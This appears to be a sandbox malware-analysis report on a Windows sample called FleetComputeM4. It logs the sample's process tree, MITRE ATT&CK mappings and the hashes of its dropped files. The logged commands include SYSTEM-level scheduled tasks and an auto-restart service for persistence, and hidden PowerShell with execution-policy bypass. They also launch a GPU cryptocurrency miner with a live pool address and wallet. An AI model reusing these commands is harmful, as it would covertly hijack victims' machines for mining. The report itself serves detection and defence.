  cmd.exe /c schtasks /Run /TN FleetComputeM4Agent >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3400
- - C:\Windows\system32\schtasks.exe
    schtasks /Run /TN FleetComputeM4Agent
    3⤵
    PID:2716
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /Create /TN FleetComputeM4Watch /SC MINUTE /MO 5 /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4524
- - C:\Windows\system32\schtasks.exe
    schtasks /Create /TN FleetComputeM4Watch /SC MINUTE /MO 5 /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6104
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /Create /TN FleetComputeM4Agent /SC ONSTART /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1920
- - C:\Windows\system32\schtasks.exe
    schtasks /Create /TN FleetComputeM4Agent /SC ONSTART /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6116
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /Run /TN FleetComputeM4Watch >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3500
- - C:\Windows\system32\schtasks.exe
    schtasks /Run /TN FleetComputeM4Watch
    3⤵
    PID:4972
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /Run /TN FleetComputeM4Watch >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1792
- - C:\Windows\system32\schtasks.exe
    schtasks /Run /TN FleetComputeM4Watch
    3⤵
    PID:4168
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /Run /TN FleetComputeM4Watch >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4312
- - C:\Windows\system32\schtasks.exe
    schtasks /Run /TN FleetComputeM4Watch
    3⤵
    PID:2004
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /Create /TN FleetComputeM4Agent /SC ONSTART /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1944
- - C:\Windows\system32\schtasks.exe
    schtasks /Create /TN FleetComputeM4Agent /SC ONSTART /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3432
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc create FleetComputeM4 binPath= "C:\Users\Admin\AppData\Local\Temp\nex.exe --run" start= auto obj= LocalSystem >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2156
- - C:\Windows\system32\sc.exe
    sc create FleetComputeM4 binPath= "C:\Users\Admin\AppData\Local\Temp\nex.exe --run" start= auto obj= LocalSystem
    3⤵
    - Launches sc.exe
    PID:5332
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc failure FleetComputeM4 reset= 86400 actions= restart/60000/restart/60000/restart/60000 >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2148
- - C:\Windows\system32\sc.exe
    sc failure FleetComputeM4 reset= 86400 actions= restart/60000/restart/60000/restart/60000
    3⤵
    - Launches sc.exe
    PID:5548
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc start FleetComputeM4 >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:936
- - C:\Windows\system32\sc.exe
    sc start FleetComputeM4
    3⤵
    - Launches sc.exe
    PID:5724

C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe
"C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run
1⤵
- Downloads MZ/PE file
- Executes dropped EXE
- Windows security bypass
- Windows security modification
- Direct Volume Access: Opens a physical disk for reading
- Reads the TCP/IP host and domain name from the registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2560
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /Create /TN FleetComputeM4Wake /SC DAILY /ST 07:00 /WAKE /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3668
- - C:\Windows\System32\schtasks.exe
    schtasks /Create /TN FleetComputeM4Wake /SC DAILY /ST 07:00 /WAKE /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3140
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /Create /TN FleetComputeM4Watch /SC MINUTE /MO 5 /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5348
- - C:\Windows\System32\schtasks.exe
    schtasks /Create /TN FleetComputeM4Watch /SC MINUTE /MO 5 /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1048
- C:\Windows\system32\cmd.exe
  cmd.exe /c wmic path win32_VideoController get Name,AdapterRAM,DriverVersion /format:list > "C:\Windows\TEMP\agent_gpu1.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2364
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path win32_VideoController get Name,AdapterRAM,DriverVersion /format:list
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    - Detects videocard installed
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2360
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_VideoController | ForEach-Object { 'Name=' + $_.Name; 'AdapterRAM=' + $_.AdapterRAM; 'DriverVersion=' + $_.DriverVersion; '' } | Set-Content -Encoding UTF8 'C:\Windows\TEMP\agent_gpu2.txt'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:480
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Get-PnpDevice -Class Display | ForEach-Object { 'Name=' + $_.FriendlyName; '' } | Set-Content -Encoding UTF8 'C:\Windows\TEMP\agent_gpu4.txt'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4896
- C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe
  "C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe" -a pearl -p stratum+tcp://prl-eu.kryptex.network:7048 -u prl1p6u5rtdhax3k5gc0fz4ln0rzxdwh6k4dslv9nz5lf2mq5xue4v84qwszukg/830853ae51 --nvidia 1 --amd 1 --intel 1 --igpu 0 --cpu 0
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2664
- - C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe
    "C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe" --bz-protected-process "-a" "pearl" "-p" "stratum+tcp://prl-eu.kryptex.network:7048" "-u" "prl1p6u5rtdhax3k5gc0fz4ln0rzxdwh6k4dslv9nz5lf2mq5xue4v84qwszukg/830853ae51" "--nvidia" "1" "--amd" "1" "--intel" "1" "--igpu" "0" "--cpu" "0"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:1568
  - - C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe
      "C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe" --bz-worker-process --ctl-in 432 --ctl-out 444 --bz-protected-process -a pearl -p stratum+tcp://prl-eu.kryptex.network:7048 -u prl1p6u5rtdhax3k5gc0fz4ln0rzxdwh6k4dslv9nz5lf2mq5xue4v84qwszukg/830853ae51 --nvidia 1 --amd 1 --intel 1 --igpu 0 --cpu 0 --no-color
      4⤵
      Executes dropped EXE
      Reads the TCP/IP host and domain name from the registry
      PID:4228
- C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe
  "C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe" -a pearl -p stratum+tcp://prl-eu.kryptex.network:7048 -u prl1p6u5rtdhax3k5gc0fz4ln0rzxdwh6k4dslv9nz5lf2mq5xue4v84qwszukg/830853ae51 --nvidia 1 --amd 1 --intel 1 --igpu 0 --cpu 0
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1100
- - C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe
    "C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe" --bz-protected-process "-a" "pearl" "-p" "stratum+tcp://prl-eu.kryptex.network:7048" "-u" "prl1p6u5rtdhax3k5gc0fz4ln0rzxdwh6k4dslv9nz5lf2mq5xue4v84qwszukg/830853ae51" "--nvidia" "1" "--amd" "1" "--intel" "1" "--igpu" "0" "--cpu" "0"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:5268
  - - C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe
      "C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe" --bz-worker-process --ctl-in 432 --ctl-out 444 --bz-protected-process -a pearl -p stratum+tcp://prl-eu.kryptex.network:7048 -u prl1p6u5rtdhax3k5gc0fz4ln0rzxdwh6k4dslv9nz5lf2mq5xue4v84qwszukg/830853ae51 --nvidia 1 --amd 1 --intel 1 --igpu 0 --cpu 0 --no-color
      4⤵
      Executes dropped EXE
      PID:2208

C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe
C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe
1⤵
- Executes dropped EXE
- Direct Volume Access: Opens a physical disk for reading
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:4548
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /Create /TN FleetComputeM4Agent /SC ONSTART /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3236
- - C:\Windows\system32\schtasks.exe
    schtasks /Create /TN FleetComputeM4Agent /SC ONSTART /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4376
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc create FleetComputeM4 binPath= "C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe --run" start= auto obj= LocalSystem >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:676
- - C:\Windows\system32\sc.exe
    sc create FleetComputeM4 binPath= "C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe --run" start= auto obj= LocalSystem
    3⤵
    - Launches sc.exe
    PID:3240
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc failure FleetComputeM4 reset= 86400 actions= restart/60000/restart/60000/restart/60000 >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:264
- - C:\Windows\system32\sc.exe
    sc failure FleetComputeM4 reset= 86400 actions= restart/60000/restart/60000/restart/60000
    3⤵
    - Launches sc.exe
    PID:5640
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc start FleetComputeM4 >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5972
- - C:\Windows\system32\sc.exe
    sc start FleetComputeM4
    3⤵
    - Launches sc.exe
    PID:4932

C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe
"C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run
1⤵
- Downloads MZ/PE file
- Executes dropped EXE
- Windows security bypass
- Windows security modification
- Direct Volume Access: Opens a physical disk for reading
- Reads the TCP/IP host and domain name from the registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:6092
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /Create /TN FleetComputeM4Wake /SC DAILY /ST 07:00 /WAKE /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2852
- - C:\Windows\System32\schtasks.exe
    schtasks /Create /TN FleetComputeM4Wake /SC DAILY /ST 07:00 /WAKE /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3456
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /Create /TN FleetComputeM4Watch /SC MINUTE /MO 5 /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5028
- - C:\Windows\System32\schtasks.exe
    schtasks /Create /TN FleetComputeM4Watch /SC MINUTE /MO 5 /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5608
- C:\Windows\system32\cmd.exe
  cmd.exe /c wmic path win32_VideoController get Name,AdapterRAM,DriverVersion /format:list > "C:\Users\Admin\AppData\Local\Temp\agent_gpu1.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:600
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path win32_VideoController get Name,AdapterRAM,DriverVersion /format:list
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    - Detects videocard installed
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5908
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_VideoController | ForEach-Object { 'Name=' + $_.Name; 'AdapterRAM=' + $_.AdapterRAM; 'DriverVersion=' + $_.DriverVersion; '' } | Set-Content -Encoding UTF8 'C:\Users\Admin\AppData\Local\Temp\agent_gpu2.txt'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1796
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Get-PnpDevice -Class Display | ForEach-Object { 'Name=' + $_.FriendlyName; '' } | Set-Content -Encoding UTF8 'C:\Users\Admin\AppData\Local\Temp\agent_gpu4.txt'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3580

C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe
C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe --run
1⤵
- Executes dropped EXE
- Direct Volume Access: Opens a physical disk for reading
- Enumerates system info in registry
PID:5988

C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe
C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe --run
1⤵
- Executes dropped EXE
- Direct Volume Access: Opens a physical disk for reading
- Enumerates system info in registry
PID:3744

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

FleetComputeM4Service.exe

Path C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe
Size 497KB
SHA256 b805dc4d53eb0beb1734e5c3e9f0c1f41c319436e402b7a9061222e710308ee1
MD5 c065b85c912da4c5dec37c581f8618cb
SHA1 24d5170ee544ad88709a074f5c1aef7eea336fbe
SHA512 ee89acd6c25778433c440aa003247097367db50759c36623f798efe32d8b04882533df4cf7303aeb5707629c59f363b51a67bc518c7d4ea980e89d07302e54c2
SSDEEP 3072:5BvmLhmm7H89r/1j1dPoGWvrXS6p0wFAxLPTuWGX+ceu+F+ScADcAD:5lahEVdj1divn+dTuWWex
TLSH
T1F5B420065E0BC8DDEBA2947460FBC4F492317D8C49E5908E6CD7B7E8A17C06E2167D2B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

fc-m4.exe

Path C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe
Size 45.1MB
SHA256 3f8b858d255303d71cdcfa3fb882019d0106781c8677b8f1c36e3528f413e970
MD5 be1f8912c7067c70b032f4768bd130f1
SHA1 b7132d5f1225f4c228855a475b60d76c5cfee8ed
SHA512 304581daffde75e7a98f0e58e9efc907e3154d8e06fdc242deccb2e54fb20641b515138d3b1e7589d9e14941f0d029acc2cb71d2c06cff7fd9f3086573b5e409
SSDEEP 786432:BDCmt5EtvHhPALXa6NtbXzdoLyc2nJERrGI6efIndxsRn8icjnrsQPz:BG0MPhP0XaitHymciaRruq8BjnIQr
TLSH
T161A7335C0BB28BB1E815D938D6FCA05FB9F0A2059502C79054CC6ABF8ACF5E7165CE63
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

fc-m4.exe.part

Path C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe.part
Size 84.5MB
SHA256 730d53f7c01a024ba0f502c68d174e26817817987980af4e6c4bb0427a03a246
MD5 193fe1c38ddf96557fafe5a33fe16c29
SHA1 f86828c1d47a083e2346cf1e2ff599a4ab14c48c
SHA512 b9937570a70da6b7e346c473ce082f30465d5c5215bd111ec37d8b5dad8c1f2eac51cc25891e45897409e834946d406294b210d70f3d0588346ce199e4c5e2ff
SSDEEP 1572864:BG0MPhP0XaitHymciaRruq8BjnIQ0PhP0XaitHymciaRruq8BjnIQr:RAhcDj4akHhcDj4akq
TLSH
T13218335C47728BF5D815DA38D6BCB05FB9B0A2069102C79054CC6ABFCA8F5FB161CE62
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 398B
SHA256 1ee8e0a09d1460b6e032ef1f34f345363f5067f6ff05559f27ddf3ce5c4ef8cb
MD5 e0bc17315636d87bdfe7db64d1e65df6
SHA1 c0e16107181bd2c90c0cc721541b1700beaac41e
SHA512 dc364e8466336badd286a092b1bcd9d70cdd6cf4eb28a952b61a4b54f5df56ea9dcde0d3a29affdbfd22f44572745485846aee76f2ffb6a45c35483d9508c87f
TLSH
T126E02BC1F1DF80242CB556F313779AC459F80B1A8E7451F0A2E1C024847B4040F32C33
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 1KB
SHA256 3051b85a7606f664c09cfdc9181d9b522474b3aa1de449171a623f456002a167
MD5 1cb217858932324c870ec3d558458747
SHA1 b8a9a399ead563566d5d9c5419634bd42d5c4955
SHA512 d0d5fd74bdf2f1a520c271b99f514053fcd663c9a4cba6974cef90e0f51f4df31a2d648eb839e9ca3434e75eff857a009cc87f73b77ea6d7307e6a1d4d52ab52
TLSH
T1E42149D1B1BF8156ACF27EF146B65BD0DAA707224D7641F2A1B6A429C0374800F36C72
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 1KB
SHA256 eb3f58d3c8b8e49e2156d4414207f837470540f1c526a66802fdf689ffef1d36
MD5 a5dbb77973216c5931276e12bd677f06
SHA1 770ca79f498df4a953d34dab67c86de30438a731
SHA512 793dcb3e78f0708a2add245f8f4680909fbd836d1dd3e2eaf2b60daa0a56dceb8236de3fd5141cf53cff40f3c6fb5bd206907abe605a439674470c66dc160443
TLSH
T1843159D1B1BF8156A8F27EF185B65BD0DAA707225D3641F2A1B6A42DC0374804F36CB3
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 1KB
SHA256 352d0a149708715f286e147a47c4cf45db8bac33d1ac7681ca92b3d2402e4347
MD5 987e4e4c4c4db3c6c6cdeef0ce306214
SHA1 3e1dc41ad3270a15f1c563cb481dbe82c7282589
SHA512 52566efa894c50057185ddc581040048092502a74766633ab3bae14e04be156d6d099f9c73a68269383c48ffb794b6ee639659b22f2b5103ac5585976d72c4c4
TLSH
T178315AD1B17F9116A8F67EF185B25BD0DAA703125D3A51F2A0B6642AC0378804F32CB3
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 445B
SHA256 a7d880bd3150e1dbae58f2ea2ec8c128dc991d921ba75afeef46fb8a2a7afb54
MD5 4bd1f8ef459cb55acca0a7dfd5564cad
SHA1 da861a65a5037f79cc2f8408d9b31194868424f1
SHA512 aa5b422be7f9adc4da785ac489058e8cd25525345e12d2084164722fa6f185c31167e49d812b13686d3fa7ef387f1bf410740b60a0318671c27104e03e152485
TLSH
T102F0A0D1F5EF81262CB656F21377AAC459B90A1A9EB955F4A2E2D424847A4040F36C33
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 1KB
SHA256 fd20efaa33bb1ef6f8c511a2096845d574f865ef93c6f9f632d10262724eae9c
MD5 1b6987ab36e0020629a2cd548ab403bb
SHA1 2b6fe263537ad9c936630400837f8f10ce7669dd
SHA512 4d0f5c7d33ef8af179b4be0ec5d66dc64d0e00a0ea54f6489487eb41957257835f98fcb4865c943a22f44530b006ca13f586c486229c87c6d5353c4952a53384
TLSH
T126316AD1B27F921668F27EF195B36AD0DAA703225D3650F2A1B5642EC0378814F72CB3
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 1KB
SHA256 e941b1250ebc8cede08fe068687885a12d6eaeb33fbfd38e35311dc3cc60d8dd
MD5 6c774e436822e8679ce852ef110aa5b9
SHA1 ddc588d5d6fe42f4e5c01e07d58b6b29beb35403
SHA512 ba3371bc97ad16616501f559bf5e9b4e5669f874f933c1772fa856457a69412ed29dc08e4ea2ba00ef666bc6a11995258653519694498ea2446be7fb4badf1dd
TLSH
T1234158D1B2BF821668F67EF195736BD0DAA703125D3681F1A1B6642AC0278814F32CB7
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 1KB
SHA256 31e62e42c0f26e13a479ed2dc6a5fde85a77d1e2d50645ea4c39ec18c93abb04
MD5 e44aa0149d6be9e489e1f616f4263734
SHA1 6e919fa39a529a23708f5c5c2ec31a2b1ff6347f
SHA512 6d81ede0f2737856d9e9f56129a44c4f51f8ac186b6a4bd3660a87e5f2192fb3f9adb28ef35fce04adfe27fa426ac7787bc97893346085c2b7a5538e59108013
TLSH
T1F0418AD1B27F8216A8F27EF181B35BD0DAA703125D3681F161B6642AC0378814F32CB7
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 2KB
SHA256 e3945df7f99582c299c47236716a093587e3475152d683e7069b902062c61d38
MD5 5215fe67f28eeeb626b541b7e77d866d
SHA1 cbdb1649a5ac6c5202312db017ce6c55abfe5f3d
SHA512 001d2e73fc8a4c82f516fd51a8b79e51df20ea2f8e9b5d7389e87e1a7e217b1a139979b710d33d8ddde20c717419b44bc58f9498474670e4fa0a772589658804
TLSH
T11841AAD1B27F8216A8F27EF181B75BD0CAA703125D3A81F251B6542AC0278814F36CB7
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 578B
SHA256 374aaaa9fdff14425665865da95b30e877f90fe0f33eee783fad3a00d6209000
MD5 e4ef50968351401beba607818597fd1f
SHA1 d89ea4e5f78ac14421844b83e503a33989335703
SHA512 e7604d647bfb99bef2a3ceeea90d97b8a26e19ead5e18363f42446fdcc5730d005e88185dcfb53fb82fdec0ea6a08847dd5228c4f0807514349b12d378e0834a
TLSH
T143F0FCC1B2EF80661CF655F222775AC549BD06169EB550F5A2E19018843B4450F76C73
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 2KB
SHA256 4a8bb2797de5936c194bfedbd995180dccbbf74df43fd1b9f240b78cb4910346
MD5 4cfe9346d955e0702b11e021b512ce23
SHA1 f5ab718cadd4655166f75c08c47c45564b022481
SHA512 980a03d2907f12d74edca51a6c97d44e9397c2260b2a5222761903e543d1b8caaab02b68af20e4217729cb01c8f8188fa0a3341e8f526c044ec7be2af8998c81
TLSH
T1284199D1B27E8256A9F27EF181B75BD0CAA703135D3A81F251B5542AC0278814F36CB7
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 2KB
SHA256 4ac5e30de59d934fb880fb81c6ac2560eed284b3400698db80c8cdcdd8b54d9a
MD5 37fd472204686a060fe9fa511e67418c
SHA1 7463c9f8cdaa78522b1d0f3f4ebfe7557b7cd6b6
SHA512 6c664c9e1d8e1dfcbf23fd889308fa96863d9585582ab97eb131c53bfe7e72afb690122b159a54f44ce67060dc1272099870fae73b54b7d92edfb1ae033a4505
TLSH
T15A41AAC1B27E825AA9F27EF181B75BD0CAA703135D3A91F251B5542AC0278814F32CB3
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 2KB
SHA256 dfacd59d6b819567dc3e90440d0843a9c1895f4bf3276330bd51d152a26ccefe
MD5 c4fe6ff9a4f06b6d88d64667a430c068
SHA1 ef93c514542a7c6a08c8123b4adc9e208cec80cf
SHA512 8fb626cffaafcb38d899223428e6323eb3182d1aaba83c7490f25f155e4e3fbcbaef13920e8fafabd4874ee8543b6a064f6c4d030c6b042f15ebf9ad018dc011
TLSH
T12551ECC1B27EC25AB9F2BEF181BA5BD0C9A303135D3A91F65275542AC0278854F36CB7
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 699B
SHA256 550adf5dd2529caed4121cd8bf7b0969770fea2c64454bd34aed352df76a127a
MD5 ad9a53fe08598475b762296bbf7e351c
SHA1 4ac060eeb1385c11feacf54a8350138e3ea76d5b
SHA512 0bebc758f28b5ec87185f8802a2890963baded856783e3d00805c216db816e485d19fccb5d873a7bca0e46b9bd08f7189242ef89f11eb0b584b75cd91224fdc5
TLSH
T1220126C1B2EF80652CF66AF223775AD09ABA07168E7591F5A2F29428807B4040F32C33
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 2KB
